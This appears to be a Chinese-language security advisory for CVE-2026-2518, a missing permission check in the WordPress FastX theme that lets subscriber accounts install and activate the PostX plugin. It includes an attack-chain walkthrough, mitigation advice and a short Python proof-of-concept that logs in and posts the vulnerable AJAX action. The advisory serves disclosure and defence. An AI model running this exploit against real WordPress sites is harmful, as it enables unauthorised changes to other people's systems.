CVE-2026-2518 WordPress FastX主题权限提升漏洞

漏洞信息

漏洞编号

CVE-2026-2518

漏洞类型

权限提升

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress FastX Theme

漏洞概述

WordPress FastX主题在所有1.0.2及之前的版本中存在一个安全漏洞，该漏洞允许未经授权的插件安装和激活。由于代码中‘ultp_install_callback’和‘ultp_activate_callback’函数缺少必要的能力检查，导致权限控制失效。任何拥有订阅者级别及以上权限的认证攻击者都可以利用此漏洞，在无需管理员授权的情况下安装并激活PostX插件，从而破坏网站的完整性。

技术细节

该漏洞的根本原因是WordPress主题开发过程中未能严格遵循最小权限原则。在受影响的FastX主题版本中，`Initialization.php`文件定义了用于处理插件安装和激活的回调函数。开发者在注册这些功能的AJAX处理程序时，未调用`current_user_can()`函数来验证发起请求的用户是否具备管理插件的能力（如`install_plugins`或`activate_plugins`）。利用该漏洞时，攻击者首先需要获取一个低权限账户（如订阅者），随后向`wp-admin/admin-ajax.php`发送包含特定动作参数（如`action=ultp_install_callback`）的POST请求。由于服务器端未进行权限校验，系统将以Web服务器的权限执行插件安装逻辑，导致攻击者成功安装并激活指定插件。

攻击链分析

STEP 1

信息收集

攻击者识别目标站点是否使用WordPress FastX主题，并确认其版本是否在1.0.2及以下。

STEP 2

获取初始访问

攻击者注册一个低权限账户（如订阅者Subscriber）或利用已有的低权限凭证登录网站。

STEP 3

漏洞利用

攻击者利用低权限账户的Cookie，向`wp-admin/admin-ajax.php`发送包含恶意action参数的POST请求，调用`ultp_install_callback`函数。

STEP 4

达成效果

由于缺乏权限校验，服务器执行安装逻辑，成功下载并安装PostX插件，随后攻击者可调用激活函数完成插件激活。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: WordPress FastX Theme < 1.0.2 - Subscriber+ Plugin Installation
# Date: 2026-05-22
# Exploit Author: Analyst
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/themes/fastx/
# Version: <= 1.0.2
# Tested on: WordPress 6.x

# Configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "subscriber" # Low privilege user
password = "password123"

# Create a session to handle cookies
session = requests.Session()

# 1. Login to get authenticated cookies
login_payload = {
    "log": username,
    "pwd": password,
    "redirect_to": "http://example.com/wp-admin/",
    "testcookie": "1"
}

login_response = session.post("http://example.com/wp-login.php", data=login_payload)

if "wp-admin" in login_response.text:
    print("[+] Logged in successfully as Subscriber")

    # 2. Exploit: Trigger plugin installation via vulnerable callback
    # The action name is derived from the function name 'ultp_install_callback'
    exploit_payload = {
        "action": "ultp_install_callback"
    }

    try:
        exploit_response = session.post(target_url, data=exploit_payload)
        
        if exploit_response.status_code == 200:
            print("[+] Exploit request sent successfully.")
            print(f"[+] Response: {exploit_response.text}")
        else:
            print("[-] Exploit request failed.")
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")
else:
    print("[-] Login failed.")

影响范围

WordPress FastX Theme <= 1.0.2

防御指南

临时缓解措施

如果暂时无法升级主题，建议直接禁用FastX主题并切换至其他可信主题。同时，管理员应检查站点后台的插件列表，确认是否存在未授权安装的PostX插件，并将其删除。此外，应审查网站用户列表，移除可疑的订阅者账户。